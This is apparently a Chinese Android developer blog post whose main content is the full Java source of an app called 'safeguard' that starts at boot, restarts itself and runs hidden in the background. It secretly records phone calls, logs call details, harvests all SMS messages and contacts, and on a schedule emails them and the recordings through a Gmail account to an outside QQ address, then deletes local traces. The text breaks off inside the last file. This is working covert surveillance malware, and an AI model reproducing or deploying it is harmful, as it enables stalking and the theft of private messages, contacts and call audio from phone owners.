您的位置:首页 > 移动开发 > Android开发

android 后台发送短信,电话簿,邮件,开机自启动

2013-12-06 17:03 447 查看
http://code.google.com/p/javamail-android/downloads/list

MainActivity.java

package com.android.safeguard;

import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;

import android.media.MediaRecorder;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.PhoneLookup;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.drm.DrmStore.Action;
import android.telephony.SmsManager;
import android.text.format.Time;
import android.util.Log;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.Window;
import android.widget.Button;
import android.widget.ListAdapter;

public class MainActivity extends Activity {

private MediaRecorder mRecorder = null;

private WifiManager mWifiManager;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
System.out.println("hello create");
this.requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_main);

}

@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
System.out.println("hello onResume");

Intent startServiceIntent = new Intent(this, ScreenService.class);
startServiceIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.startService(startServiceIntent);
//startService(new Intent(this, ScreenService.class));

//if(isNetworkAvailable(this)) //luke del test
new Thread(new MyRunnable()).start();
}

public  class MyRunnable implements Runnable{

@Override
public void run() {
// TODO Auto-generated method stub
//getPhoneInfo();
//sendMail("phonebook","phonebook.txt");
System.out.println("mail activity");
sendMail("activity",null);
}
}

void getPhoneInfo()
{

// TODO Auto-generated method stub
//System.out.println("getPhoneInfo");
String string = "phonebook:";

//得到ContentResolver对象
ContentResolver cr = getContentResolver();
//取得电话本中开始一项的光标
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
//向下移动一下光标
while(cursor.moveToNext()) {
//取得联系人名字
int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);
String contact = cursor.getString(nameFieldColumnIndex);
//取得电话号码
String ContactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ContactId, null, null);

while(phone.moveToNext())
{
String PhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
string += (contact + ":" + PhoneNumber + "\n");
}

}
cursor.close();
//设置TextView显示的内容
System.out.println("phone string:"+string);
WriteResultFile(string,"phonebook.txt");
}

void WriteResultFile(String content,String fileName)
{
try
{
// 打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件
String path = getFilesDir().getPath(); //"/data/data/com.android.safeguard/";

fileName = path + "/"+fileName;

FileWriter writer = new FileWriter(fileName, false);
writer.write(content);
writer.close();
} catch (IOException e)
{
e.printStackTrace();
}
}

public boolean isWifiNetworkAvailable(Context ctx)
{
mWifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);

if (!mWifiManager.isWifiEnabled())
{
System.out.println("wifi not enable!");
return false;
}
else
System.out.println("wifi is enable");

ConnectivityManager cm = (ConnectivityManager) ctx
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = cm.getActiveNetworkInfo();

if (info.getType() == ConnectivityManager.TYPE_WIFI) {
return (info != null && info.isConnected());
} else
return false;

}

public boolean isNetworkAvailable(Context ctx)
{

ConnectivityManager cm = (ConnectivityManager) ctx
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = cm.getActiveNetworkInfo();

return (info != null && info.isConnected());
}

void sendMail(String sub,String fileName)
{
try {
GMailSender sender = new GMailSender("safeguardsz2013@gmail.com", "XXXXX");
sender.sendMail(sub,
"this is body",
"safeguardsz2013@gmail.com"/*"safeguardsz2013@gmail.com"*/,
"1463829560@qq.com",
fileName);
} catch (Exception e) {
Log.e("SendMail", e.getMessage(), e);
}
}

}


BootBroadcastReceiver.java

package com.android.safeguard;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver{

@Override
public void onReceive(Context context, Intent intent)
{
System.out.println("boot receive");
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction()))
{
Intent startServiceIntent = new Intent(context, ScreenService.class);
startServiceIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(startServiceIntent);
}
}
}


ScreenService.java

package com.android.safeguard;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;

import org.apache.http.util.EncodingUtils;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.Notification;
import android.app.PendingIntent;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.media.MediaRecorder;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.provider.ContactsContract.PhoneLookup;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.telephony.PhoneStateListener;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.text.format.Time;
import android.util.Log;
import android.widget.Toast;

public class ScreenService extends Service {

private WifiManager mWifiManager;
private final String ACT_SCREEN_ON = "android.intent.action.SCREEN_ON";
private final String ACT_CALL = "android.intent.action.CALL";
private final String ACT_DIAL = "android.intent.action.DIAL";
private final String ACT_TIMETICK = "android.intent.action.TIME_TICK";
private final String ACT_OUTGOING = "android.intent.action.NEW_OUTGOING_CALL";
private final String ACT_PHONESTATE = "android.intent.action.PHONE_STATE";
private MediaRecorder mRecorder = null;
String phonenumber;
String phonename;
String phoneinfo;
static String PhonebookString = "phonebook:\n";
static String MessageString = "message:\n";
static int fileNum = 0;
static int fileNumSent = 0;
static String readtmp;
//static String readMp3Hex;
boolean isWifiNetworkwork = false;
boolean sending = false;

enum TYPE {
NONE, STATUS, PHONEBOOK, MESSAGE, RECORD, DELETE_READY, DELETING, DONE
};

TYPE mTYPE;

@Override
public void onCreate() {
// TODO Auto-generated method stub
System.out.println("screenservice create");
super.onCreate();

}

@Override
public void onDestroy() {
// TODO Auto-generated method stub
System.out.println("screen sevice detroy , restart");
super.onDestroy();

Intent startServiceIntent = new Intent(this, ScreenService.class);
startServiceIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.startService(startServiceIntent);
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub

Notification notification = new Notification();
/*
* Notification notification = new
* Notification(android.R.drawable.btn_star, "my_service_name",
* System.currentTimeMillis()); PendingIntent p_intent =
* PendingIntent.getActivity(this, 0, new Intent(this,
* MainActivity.class), 0); notification.setLatestEventInfo(this, null,
* null, p_intent);
*/
startForeground(1, notification);

IntentFilter intentFilter = new IntentFilter(ACT_SCREEN_ON);
registerReceiver(mScreenBCR, intentFilter);

IntentFilter intentFilter2 = new IntentFilter(ACT_CALL);
registerReceiver(mScreenBCR, intentFilter2);

IntentFilter intentFilter3 = new IntentFilter(ACT_DIAL);
registerReceiver(mScreenBCR, intentFilter3);

IntentFilter intentFilter4 = new IntentFilter(ACT_TIMETICK);
registerReceiver(mScreenBCR, intentFilter4);

IntentFilter intentFilter5 = new IntentFilter(ACT_OUTGOING);
registerReceiver(mScreenBCR, intentFilter5);

IntentFilter intentFilter6 = new IntentFilter(ACT_PHONESTATE);
registerReceiver(mScreenBCR, intentFilter6);

mTYPE = TYPE.NONE;

System.out.println("onstartcommand");
// Toast.makeText(getApplicationContext(), "onstartcommand",
// Toast.LENGTH_LONG).show();
return START_STICKY;

}

private BroadcastReceiver mScreenBCR = new BroadcastReceiver() {

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
// System.out.println("onReceive receive intent:"+intent);
System.out.println("intent act:" + intent.getAction());

if (intent.getAction().equals(ACT_SCREEN_ON)) {

} else if (intent.getAction().equals(ACT_OUTGOING)) {
System.out.println("-----outgoing :-----:" + phoneinfo);
Calendar c = Calendar.getInstance();
int hour = c.get(Calendar.HOUR_OF_DAY);
int minute = c.get(Calendar.MINUTE);

phonenumber = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
phonename = getPeopleNameFromPerson(phonenumber);
phoneinfo = "call_" + phonenumber + "_" + phonename+"_"+hour+":"+minute;

} else if (intent.getAction().equals(ACT_PHONESTATE)) {
// System.out.println("phonestate");
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Service.TELEPHONY_SERVICE);

System.out.println("tm.getCallState():" + tm.getCallState());
switch (tm.getCallState()) {

case TelephonyManager.CALL_STATE_RINGING:
System.out.println("---incoming :---" + phoneinfo);
Calendar c = Calendar.getInstance();
int hour = c.get(Calendar.HOUR_OF_DAY);
int minute = c.get(Calendar.MINUTE);

phonenumber = intent.getStringExtra("incoming_number");
phonename = getPeopleNameFromPerson(phonenumber);
phoneinfo = "receive_" + phonenumber + "_" + phonename+"_"+hour+":"+minute;

break;

case TelephonyManager.CALL_STATE_OFFHOOK:
System.out.println("-----off hook-----");
fileNum++;
if (mRecorder == null)
startRecording(fileNum);
break;

case TelephonyManager.CALL_STATE_IDLE:
System.out.println("---call idle---");
if (mRecorder != null)
stopRecording();

break;
}
} else if (intent.getAction().equals(ACT_TIMETICK)) {

Calendar c = Calendar.getInstance();
int hour = c.get(Calendar.HOUR_OF_DAY);
int minute = c.get(Calendar.MINUTE);

System.out.println("hour:" + hour + "  minute:" + minute);

boolean isNetworkwork = isNetworkAvailable(context);
System.out.println("isnetwork:" + isNetworkwork);
isWifiNetworkwork = isWifiNetworkAvailable(context);
System.out.println("iswifinetwork:" + isWifiNetworkwork);

// luke del test
//if (isNetworkwork != true)
//return;

if (sending)
return;

if (((minute == 0)
||(minute == 20)
|| (minute == 40))
&& (((hour >= 6) && (hour <= 23)) || ((hour >= 0) && (hour <= 2)))
&& (mRecorder == null)) {
System.out.println("mail status ok");
mTYPE = TYPE.STATUS;
new Thread(new MyRunnable()).start();
} else if ((hour == 3) && (minute == 40)) {
System.out.println("mail phonebook");
mTYPE = TYPE.PHONEBOOK;
new Thread(new MyRunnable()).start();
} else if ((hour == 3) && (minute == 45)) {
System.out.println("mail message");
mTYPE = TYPE.MESSAGE;
new Thread(new MyRunnable()).start();
} else if (hour == 4)  {
System.out.println("mail record");
mTYPE = TYPE.RECORD;
new Thread(new MyRunnable()).start();

} else if ((hour == 5)) {
mTYPE = TYPE.DONE;
}

}

}

};

public class MyRunnable implements Runnable {

@Override
public void run() {
// TODO Auto-generated method stub
// luke add test
/*
* boolean test = true; if(test) { //ReadMp3ResultFile2("1.mp3");
*
* sendMail("testservice","body", "2.mp3");
* System.out.println("read 2.mp3"); //ReadMp3ResultFile("1.mp3");
* return; }
*/

if (mTYPE == TYPE.STATUS) {
sending = true;
System.out.println("status ok");

Calendar c = Calendar.getInstance();
int year = c.get(Calendar.YEAR);
int month = c.get(Calendar.MONTH);
int day = c.get(Calendar.DAY_OF_MONTH);
int hour = c.get(Calendar.HOUR_OF_DAY);
int minute = c.get(Calendar.MINUTE);

String time = year + "-" + (month + 1) + "-" + day + "_" + hour
+ ":" + minute + " sent the email";
System.out.println(year + "-" + (month + 1) + "-" + day + "_"
+ hour + ":" + minute + " sent the email");

sendMail("status ok"+"_wifi:"+isWifiNetworkwork, time, null);
} else if (mTYPE == TYPE.PHONEBOOK) {
sending = true;
System.out.println("write phone file");
getPhoneInfo();
sendMail("phonebook"+"_wifi:"+isWifiNetworkwork, PhonebookString, null/* "phonebook.txt" */);
} else if (mTYPE == TYPE.MESSAGE) {
sending = true;
System.out.println("write message file");
getSmsInPhone();
sendMail("message"+"_wifi:"+isWifiNetworkwork, MessageString, null/* "message.txt" */);
} else if (mTYPE == TYPE.RECORD) {
sending = true;
String tmp = "fileinfo";
// String tmpvideo="mp3video";
fileNumSent++;

if (recordfiletxtExist(fileNumSent)
&& recordfilemp3Exist(fileNumSent)) {

tmp = ReadResultFile(fileNumSent + ".txt");

long size = getRecordFileSize(fileNumSent);
System.out.println("fileNumSent:"+fileNumSent+" size:"+size);

System.out.println("mail mp3 :" + tmp);

if(size < 1024*1024*5)
sendMail(tmp+"_wifi:"+isWifiNetworkwork, "record body", fileNumSent + ".mp3");
else
sendMail(tmp+"_wifi:"+isWifiNetworkwork, "size too big:"+size+"B", null);

// ReadMp3ResultFile2(fileNumSent+".mp3");
// sendMail(tmp,readMp3Hex, null);
} else
{
System.out.println("mp3 file not exsit,removing");
removeAll();
fileNum = 0;
fileNumSent = 0;
}
// System.out.println("time ed hour:"+hour+" minute:"+minute+" second:"+second);

}

sending = false;

}
}

String ReadResultFile(String fileName) {
String path = getFilesDir().getPath(); // "/data/data/com.android.safeguard/";
fileName = path + "/" + fileName;
char[] buf = new char[1024];

FileReader in = null;
try {
in = new FileReader(fileName);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
int len = 0;
try {
len = in.read(buf);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
readtmp = new String(buf, 0, len);

return readtmp;
}

void WriteResultFile(String content, String fileName) {
try {
// 打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件
String path = getFilesDir().getPath(); // "/data/data/com.android.safeguard/";

fileName = path + "/" + fileName;

FileWriter writer = new FileWriter(fileName, false);
writer.write(content);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}

long getRecordFileSize(int num) {
File file = new File(getFilesDir().getPath(), num + ".mp3");
long s=0;
if (file.exists()) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
s= fis.available();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} else {

System.out.println("文件不存在");
}
return s;
}

boolean recordfiletxtExist(int num) {
File file = new File(getFilesDir().getPath(), num + ".txt");
if (file.exists())
return true;
else
return false;

}

boolean recordfilemp3Exist(int num) {
File file = new File(getFilesDir().getPath(), num + ".mp3");
if (file.exists())
return true;
else
return false;

}

void removeAll() {

File file;
/*		File file = new File(getFilesDir().getPath() + "/phonebook.txt");
if (file.exists())
file.delete();

file = new File(getFilesDir().getPath() + "/message.txt");
if (file.exists())
file.delete();*/

for (int cnt = 1; cnt < 500; cnt++) {
file = new File(getFilesDir().getPath() + "/" + cnt + ".txt");
if (file.exists()) {
System.out.println("remove txt_" + cnt);
file.delete();
} else {
System.out.println("break txt");
break;
}

file = new File(getFilesDir().getPath() + "/" + cnt + ".mp3");
if (file.exists()) {
System.out.println("remove mp3_" + cnt);
file.delete();
} else {
System.out.println("break mp3");
break;
}

}

}

// get msg---------------------
public void getSmsInPhone() {
final String SMS_URI_ALL = "content://sms/";
final String SMS_URI_INBOX = "content://sms/inbox";
final String SMS_URI_SEND = "content://sms/sent";
final String SMS_URI_DRAFT = "content://sms/draft";

StringBuilder smsBuilder = new StringBuilder();

try {
ContentResolver cr = getContentResolver();
String[] projection = new String[] { "_id", "address", "person",
"body", "date", "type" };
Uri uri = Uri.parse(SMS_URI_ALL);
Cursor cur = cr.query(uri, projection, null, null, "date desc");

if (cur.moveToFirst()) {
String name;
String phoneNumber;
String smsbody;
String date;
String type;

int nameColumn = cur.getColumnIndex("person");
int phoneNumberColumn = cur.getColumnIndex("address");
int smsbodyColumn = cur.getColumnIndex("body");
int dateColumn = cur.getColumnIndex("date");
int typeColumn = cur.getColumnIndex("type");

do {
// name = cur.getString(nameColumn);
phoneNumber = cur.getString(phoneNumberColumn);
name = getPeopleNameFromPerson(phoneNumber);
phoneNumber = cur.getString(phoneNumberColumn);
smsbody = cur.getString(smsbodyColumn);

SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
Date d = new Date(Long.parseLong(cur.getString(dateColumn)));
date = dateFormat.format(d);

int typeId = cur.getInt(typeColumn);
if (typeId == 1) {
type = "接收";
} else if (typeId == 2) {
type = "发送";
} else {
type = "";
}

smsBuilder.append("[");
smsBuilder.append(name + ",");
smsBuilder.append(phoneNumber + ",");
smsBuilder.append(smsbody + ",");
smsBuilder.append(date + ",");
smsBuilder.append(type);
smsBuilder.append("] \n");

if (smsbody == null)
smsbody = "";
} while (cur.moveToNext());
} else {
smsBuilder.append("no result!");
}

smsBuilder.append("getSmsInPhone has executed!");
} catch (SQLiteException ex) {
Log.d("SQLiteException in getSmsInPhone", ex.getMessage());
}

MessageString = smsBuilder.toString();
// WriteResultFile(smsBuilder.toString(),"message.txt");
}

private String getPeopleNameFromPerson(String address) {
if (address == null || address == "") {
return null;
}

String strPerson = "null";
String[] projection = new String[] { Phone.DISPLAY_NAME, Phone.NUMBER };

Uri uri_Person = Uri.withAppendedPath(
ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI,
address); // address 手机号过滤
Cursor cursor = getContentResolver().query(uri_Person, projection,
null, null, null);

if (cursor.moveToFirst()) {
int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME);
String strPeopleName = cursor.getString(index_PeopleName);
strPerson = strPeopleName;
} else {
strPerson = address;
}
cursor.close();
cursor = null;
return strPerson;
}

// get phone book----------------
void getPhoneInfo() {
// TODO Auto-generated method stub
System.out.println("getPhoneInfo");
PhonebookString = "Phonebook:\n";

// 得到ContentResolver对象
ContentResolver cr = getContentResolver();
// 取得电话本中开始一项的光标
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
// 向下移动一下光标
while (cursor.moveToNext()) {
// 取得联系人名字
int nameFieldColumnIndex = cursor
.getColumnIndex(PhoneLookup.DISPLAY_NAME);
String contact = cursor.getString(nameFieldColumnIndex);
// 取得电话号码
String ContactId = cursor.getString(cursor
.getColumnIndex(ContactsContract.Contacts._ID));
Cursor phone = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "="
+ ContactId, null, null);

while (phone.moveToNext()) {
String PhoneNumber = phone
.getString(phone
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
PhonebookString += (contact + ":" + PhoneNumber + "\n");
}

}
cursor.close();
// 设置TextView显示的内容
System.out.println("getPhoneInfo() " + PhonebookString);
// WriteResultFile(string,"phonebook.txt");
}

// record-----------------
private void startRecording(int fileNum) {

String mFileName = getFilesDir().getPath() + "/"; // "/data/data/com.android.safeguard/";
mFileName = mFileName + fileNum + ".mp3";

WriteResultFile(phoneinfo, fileNum + ".txt");

System.out.println("startrecord");
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mRecorder.setOutputFile(mFileName);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

try {
mRecorder.prepare();
} catch (IOException e) {

}

mRecorder.start();
}

private void stopRecording() {

if (mRecorder != null) {
System.out.println("stop record");
mRecorder.stop();
mRecorder.release();
mRecorder = null;
}
}

// send mail----------------------
void sendMail(String sub, String body, String fileName) {
try {
GMailSender sender = new GMailSender("safeguardsz2013@gmail.com",
"XXXX");
sender.sendMail(sub, body, "safeguardsz2013@gmail.com",
"1463829560@qq.com", fileName);
} catch (Exception e) {
Log.e("SendMail", e.getMessage(), e);
}
}

@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method strecordfileExistub
return null;
}

// network check
public boolean isWifiNetworkAvailable(Context ctx) {
mWifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);

if (!mWifiManager.isWifiEnabled()) {
System.out.println("wifi not enable!");
return false;
}

ConnectivityManager cm = (ConnectivityManager) ctx
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = cm.getActiveNetworkInfo();

if (info.getType() == ConnectivityManager.TYPE_WIFI) {
return (info != null && info.isConnected());
} else
return false;

}

public boolean isNetworkAvailable(Context ctx) {
ConnectivityManager cm = (ConnectivityManager) ctx
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = cm.getActiveNetworkInfo();

return (info != null && info.isConnected());
}

/*
* void ReadMp3ResultFile2(String fileName) { String path =
* getFilesDir().getPath(); //"/data/data/com.android.safeguard/"; fileName
* = path + "/" +fileName; String res=""; int length = 0; try {
* FileInputStream fin = new FileInputStream(fileName);
*
* try { length = fin.available(); } catch (IOException e) { // TODO
* Auto-generated catch block e.printStackTrace(); } byte [] buf = new
* byte[length];
*
* //luke add later //if lenght > .. , abort try { fin.read(buf); } catch
* (IOException e) { // TODO Auto-generated catch block e.printStackTrace();
* }
*
*
* System.out.println("len:"+length); for(int cnt =0; cnt <60;cnt++) {
* System.out.printf("buf[%d]:%x\n",cnt,(byte)buf[cnt]); }
*
* System.out.printf("buf[%d]:%x\n",180960,(byte)buf[180960]);
* System.out.printf("buf[%d]:%x\n",180961,(byte)buf[180961]);
* System.out.printf("buf[%d]:%x\n",180962,(byte)buf[180962]);
* System.out.printf("buf[%d]:%x\n",180963,(byte)buf[180963]);
* System.out.printf("buf[%d]:%x\n",180964,(byte)buf[180964]);
* System.out.printf("buf[60]:%x\n",(int)buf[60]);
* System.out.printf("buf[61]:%x\n",(int)buf[61]);
* System.out.printf("buf[62]:%x\n",(int)buf[62]);
* System.out.printf("buf[63]:%x\n",(int)buf[63]);
* System.out.printf("buf[64]:%x\n",(int)buf[64]);
* System.out.printf("buf[65]:%x\n",(int)buf[65]);
* System.out.printf("buf[66]:%x\n",(int)buf[66]);
*
* readMp3Hex = toHexString(buf,length);
* //System.out.println("readMp3Hex:"+readMp3Hex); //res =
* EncodingUtils.getString(buf, "UTF-8"); try { fin.close(); } catch
* (IOException e) { // TODO Auto-generated catch block e.printStackTrace();
* } } catch (FileNotFoundException e) { // TODO Auto-generated catch block
* e.printStackTrace(); }
*
*
*
* //System.out.println("res:"+res);
*
*
*
*
* }
*/

/*
* void ReadMp3ResultFile(String fileName) { String path =
* getFilesDir().getPath(); //"/data/data/com.android.safeguard/"; fileName
* = path + "/" +fileName; char[] buf = new char[10*1024*1024]; readMp3 =
* "read mp3 fail";
*
* FileReader in = null; try { in = new FileReader(fileName); } catch
* (FileNotFoundException e) { // TODO Auto-generated catch block
* e.printStackTrace(); } int len = 0; try { len = in.read(buf); } catch
* (IOException e) { // TODO Auto-generated catch block e.printStackTrace();
* }
*
* System.out.println("len:"+len);
*
* System.out.printf("buf[60]:%x\n",(int)buf[60]);
* System.out.printf("buf[61]:%x\n",(int)buf[61]);
* System.out.printf("buf[62]:%x\n",(int)buf[62]);
* System.out.printf("buf[63]:%x\n",(int)buf[63]);
* System.out.printf("buf[64]:%x\n",(int)buf[64]);
* System.out.printf("buf[65]:%x\n",(int)buf[65]);
* System.out.printf("buf[66]:%x\n",(int)buf[66]);
*
*
* //readMp3 = new String(buf, 0, len); //
* System.out.println("readmp3 old:"+readMp3); //readMp3 =
* toHexString(buf,len); //new String(buf, 0, len); //
* System.out.println("readmp3:"+readMp3);
*
* }
*/

/*
* public static String toHexString(byte[] b,int len) { byte HEX_DIGITS[] =
* { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D',
* 'E', 'F' };
*
* //System.out.println("tohexStringsb st" ); byte [] buf = new byte[len*2];
*
* for(int cnt =0; cnt <10;cnt++) {
* System.out.printf("hexbufbefore[%d]:%x\n",cnt,(byte)b[cnt]); } for (int i
* = 0; i < len; i++) { buf[i*2] = HEX_DIGITS[(b[i] & 0xf0) >> 4];
* buf[i*2+1]= HEX_DIGITS[b[i] & 0x0f]; // sb.append(HEX_DIGITS[(b[i] &
* 0xf0) >> 4]); // sb.append(HEX_DIGITS[b[i] & 0x0f]); }
*
* String s1=new String(buf);
*
* //System.out.println("s1:"+s1);
* System.out.println("s1 length:"+s1.length());
*
* for(int cnt =0; cnt <20;cnt++) {
* System.out.printf("hexbufafter[%d]:%c\n",cnt,buf[cnt]); }
*
* System.out.printf("buf[%d]:%x\n",180960*2,(byte)buf[180960*2]);
* System.out.printf("buf[%d]:%x\n",180960*2+1,(byte)buf[180960*2+1]);
* System.out.printf("buf[%d]:%x\n",180961*2,(byte)buf[180961*2]);
* System.out.printf("buf[%d]:%x\n",180961*2+1,(byte)buf[180961*2+1]);
* System.out.printf("buf[%d]:%x\n",180962*2,(byte)buf[180962*2]);
* System.out.printf("buf[%d]:%x\n",180962*2+1,(byte)buf[180962*2+1]);
* System.out.printf("buf[%d]:%x\n",180963*2,(byte)buf[180963*2]);
* System.out.printf("buf[%d]:%x\n",180963*2+1,(byte)buf[180963*2+1]);
* System.out.printf("buf[%d]:%x\n",180964*2,(byte)buf[180964*2]);
* System.out.printf("buf[%d]:%x\n",180964*2+1,(byte)buf[180964*2+1]);
*
* return s1;
*
* }
*/

}


GMailSender.java

package com.android.safeguard;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.Message;
import javax.mail.Multipart;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.Security;
import java.util.List;
import java.util.Properties;

public class GMailSender extends javax.mail.Authenticator {
private String mailhost = "smtp.gmail.com"; //"smtp.gmail.com";
private String user;
private String password;
private Session session;

static {
Security.addProvider(new com.android.safeguard.JSSEProvider());
}

public GMailSender(String user, String password) {
this.user = user;
this.password = password;

Properties props = new Properties();
props.setProperty("mail.transport.protocol", "smtp");
props.setProperty("mail.host", mailhost);

props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class",
"javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.socketFactory.fallback", "false");
props.setProperty("mail.smtp.quitwait", "false");

session = Session.getDefaultInstance(props, this);
}

protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(user, password);
}

public synchronized void sendMail(String subject, String body, String sender, String recipients,String fileName) throws Exception {
try{

MimeMessage message = new MimeMessage(session);
DataHandler handler = new DataHandler(new ByteArrayDataSource(body.getBytes(), "text/plain"));
message.setSender(new InternetAddress(sender));
message.setSubject(subject);
message.setDataHandler(handler);

//MimeMultpart类是一个容器类,包含MimeBodyPart类型的对象
MimeMultipart mmp=new MimeMultipart("mixed");

String path = "/data/data/com.android.safeguard/files/";//MainActivity.globalPath ; //
if(fileName != null)
{
fileName = path + fileName;
File file_str = new File(fileName);
if (file_str != null) {
{
MimeBodyPart mbp = new MimeBodyPart();
FileDataSource source = new FileDataSource(file_str);
mbp.setDataHandler(new DataHandler(source));
mbp.setFileName(source.getName());

mmp.addBodyPart(mbp);
}
}

MimeBodyPart mbp=new MimeBodyPart();
message.setContent(mmp);

}

if (recipients.indexOf(',') > 0)
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(recipients));
else
message.setRecipient(Message.RecipientType.TO, new InternetAddress(recipients));
Transport.send(message);
}catch(Exception e){

}
}

public class ByteArrayDataSource implements DataSource {
private byte[] data;
private String type;

public ByteArrayDataSource(byte[] data, String type) {
super();
this.data = data;
this.type = type;
}

public ByteArrayDataSource(byte[] data) {
super();
this.data = data;
}

public void setType(String type) {
this.type = type;
}

public String getContentType() {
if (type == null)
return "application/octet-stream";
else
return type;
}

public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}

public String getName() {
return "ByteArrayDataSource";
}

public OutputStream getOutputStream() throws IOException {
throw new IOException("Not Supported");
}
}
}


JSSEProvider.java

package com.android.safeguard;
/*
*  Licensed to the Apache Software Foundation (ASF) under one or more
*  contributor license agreements.  See the NOTICE file distributed with
*  this work for additional information regarding copyright ownership.
*  The ASF licenses this file to You under the Apache License, Version 2.0
*  (the "License"); you may not use this file except in compliance with
*  the License.  You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0 *
*  Unless required by applicable law or agreed to in writing, software
*  distributed under the License is distributed on an "AS IS" BASIS,
*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*  See the License for the specific language governing permissions and
*  limitations under the License.
*/

/**
* @author Alexander Y. Kleymenov
* @version $Revision$
*/

import java.security.AccessController;
import java.security.Provider;

public final class JSSEProvider extends Provider {

public JSSEProvider() {
super("HarmonyJSSE", 1.0, "Harmony JSSE Provider");
AccessController.doPrivileged(new java.security.PrivilegedAction<Void>() {
public Void run() {
put("SSLContext.TLS",
"org.apache.harmony.xnet.provider.jsse.SSLContextImpl");
put("Alg.Alias.SSLContext.TLSv1", "TLS");
put("KeyManagerFactory.X509",
"org.apache.harmony.xnet.provider.jsse.KeyManagerFactoryImpl");
put("TrustManagerFactory.X509",
"org.apache.harmony.xnet.provider.jsse.TrustManagerFactoryImpl");
